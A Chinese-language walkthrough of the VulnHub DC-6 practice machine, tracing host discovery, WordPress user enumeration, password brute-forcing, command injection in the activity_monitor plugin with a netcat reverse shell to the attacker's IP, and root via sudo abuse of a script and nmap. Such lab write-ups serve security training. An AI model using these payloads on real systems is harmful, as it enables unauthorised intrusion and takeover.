靶场下载链接:
Download: http://www.five86.com/downloads/DC-6.zip Download (Mirror): https://download.vulnhub.com/dc/DC-6.zip Download (Torrent): https://download.vulnhub.com/dc/DC-6.zip.torrent ( Magnet)
0x01 环境搭建
直接使用VMware 或者 virtulbox 打开指定路径会自动导入,由于作者默认设置的是桥接模式,我们手动改为nat 模式即可。
0x02 主机发现
由于主机ip未知,首先我们应该考虑获得目标的ip地址,思路就是使用arp去发现内网存活主机,从而确定目标主机ip为192.168.88.184。
root@kali:~# netdiscover -i eth0 -r 192.168.88.1/24
0x03 端口探测
直接使用nmap进行端口探测,发现开放了两个端口22(ssh)、80(http)
Did not follow redirect to http://wordy/ 其中 web 服务被重定向到 http://wordy/
此时我们要么准备字典爆破ssh,要么通过web进行渗透。我们先来渗透web吧
0x04 访问web服务
由于web服务被重定向到http://wordy/ ,我们可以本地添加域名到主机文件,这样以后我们访问http://wordy/ 就相当于访问对应的ip地址。添加完域名及对应ip后,可以发现已经能够访问http://wordy/
访问 http://wordy/ ,可以看到是一个wordpress的网站。
0x05 漏洞扫描
使用wordpress漏洞测试工具wpscan进行网站漏洞探测,wpscan是一款针对wordpress的黑盒漏洞扫描器,可以获得包括版本、主体、插件等信息。
git clone https://github.com/wpscanteam/wpscan.git kali自带的wpscan数据库升级不了,所以我又重装了一个。
wpscan –url http://wordy –enumerate vp –enumerate vt –enumerate u
–enumerate u 枚举用户
–enumerate p 扫描安装的插件
–enumerate vp 扫描目标插件中的安全漏洞
–enumerate t 扫描主题
–enumerate vt 扫描主题中存在的漏洞
–enumerate tt 扫描文件漏洞
扫描结果
链接信息:
[+] http://wordy/
| Interesting Entry: Server: Apache/2.4.25 (Debian)
[+] http://wordy/xmlrpc.php
[+] http://wordy/readme.html
[+] Upload directory has listing enabled: http://wordy/wp-content/uploads/
版本信息:
[+] WordPress version 5.1.1 identified (Latest, released on 2019-03-13).
| Detected By: Rss Generator (Passive Detection)
主题信息:
[+] WordPress theme in use: twentyseventeen
| Location: http://wordy/wp-content/themes/twentyseventeen/
| Last Updated: 2019-05-07T00:00:00.000Z
用户枚举:
[i] User(s) Identified:
[+] admin
[+] graham
[+] mark
[+] sarah
[+] jens
0x05 利用已知信息登录系统
生成用户字典和密码
cat rockyou.txt | grep k01 > k01.txt 生成密码字典
./wpscan –url http://wordy/ –passwords /usr/share/wordlists/k01.txt –usernames /root/wp.txt
我们获得了Username: mark, Password: helpdesk01
我们使用获得的密码登录http://wordy/wp-admin/
可以看到安装了activity_monitor插件。
ok,我们去搜索activity_monitor插件相关漏洞。
0x06 漏洞利用
查看描述,通过替换ip、端口可以反弹shell
替换为如下格式即可:
nc -lvvp 333 我们在本机监听333端口
并且开启一个简单的临时的web服务,去访问45274.html 来触发漏洞
python -m SimpleHTTPServer 8080
访问web服务,发送google.fr| nc 192.168.88.183 333 -e /bin/bash给目标
成功接收到目标反弹回来的shell
也可以访问http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools输入ip,点击lookup,通过抓包修改ip参数的值为baidu.com | nc -e /bin/bash 192.168.88.183 333
进⼀步执⾏如下指令获取完整的shell:
python -c ‘import pty; pty.spawn(“/bin/bash”)’
通过⽬录查看,发现在/home/mark/stuff⽬录下存在thing-to-do.txt⽂件,其内容为:
可以看到偶一个用户名和密码: graham – GSo7isUM1D4,由于系统开启了ssh,我们可以尝试进行登录一下:
OK,登录成功了!
0x07 权限提升
我们使用graham成功登录了目标系统。
使用sudo -l 查看目前用户可以执行的操作,发现我们可以运行jens用户下面的backups.sh。查看其内容是对web进行打包备份的。
#!/bin/bash
tar -czf backups.tar.gz /var/www/html
我们可以将解压命令删除,替换成/bin/bash,以jens用户去执行该脚本
此时我们已经是jens用户了,我们继续执行sudo -l 命令去查找我们可以进行的操作。
NOPASSWD: /usr/bin/nmap,jens用户可以在无需输入密码的情况下使用nmap,我们继续使用nmap去调用我们的脚本例如/bin/bash.
echo “os.execute(‘/bin/bash’)” > /tmp/root.nse
sudo nmap –script=/tmp/root.nse
通过nmap运行该脚本我们成功进入root用户。